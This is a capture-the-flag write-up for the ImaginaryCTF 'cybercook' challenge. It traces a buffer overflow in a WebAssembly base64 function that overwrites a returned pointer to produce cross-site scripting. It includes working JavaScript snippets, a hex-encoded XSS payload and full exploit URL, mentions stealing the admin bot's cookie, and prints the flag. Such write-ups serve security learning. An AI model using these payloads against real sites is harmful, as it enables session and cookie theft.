Reversing the obfuscated js shows that you can provide payload from query string:
http://cybercook.chal.imaginaryctf.org/?action=base64&input=616263
And the payload will be decoded like this:
s=q.input // q is parsed query string object
ptr=allocate(intArrayFromString(s),ALLOC_NORMAL)
r=Module._base64_encode(ptr,s.length/2)
t=AsciiToString(r)
some_el.innerHTML=t
Observe how wasm memory around the allocated ptr
changes before/after _base64_encode
is enough the understand the behavior of that function. It will first malloc another chunk after ptr
(at 0x503670) as output buffer out
, then decode the input hex string into bytes inplace, and finally encode those bytes into base64 and put it into out
.
Trying to insert some longer s
could result in r
not being a normal address, so it must have some kind of buffer overflow. With further inspection, you can find that the returned address of _base64_encode
is from some offset after out
, so longer input might result in it being overwritten.
So the exploit plan is now clear, just somehow override that return address to your allocated buffer ptr
(at 0x503670) allows you to have xss. Notice that the base64 characters used here is:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\x00
Since /
is replaced by \x00
, b64decode(bytes.fromhex('703650')+b'/') = '\xa7\xa3\xff'
will be 0x503670
(little endian) in wasm. So the following snippet will print abcabcabc...
:
s='616263'.repeat(10)+'a7a3ff'
ptr=allocate(intArrayFromString(s),ALLOC_NORMAL)
r=Module._base64_encode(ptr,s.length/2)
t=AsciiToString(r)
console.log(t)
The final step is to constrct a xss payload with length less than 30. I use<img/src/onerror=eval(q.s)>
then put your actual payload in s
parameter.
http://cybercook.chal.imaginaryctf.org/?action=base64&input=3c696d672f7372632f6f6e6572726f723d6576616c28712e73293e787878a7a3ff&s=alert(1)
Modify the code in s
to steal cookie from admin bot gives the flag: ictf{c0ngrats_on_pWning_my_w4sm_hopefully_there_werent_any_cheese_solutions_b2810d1e}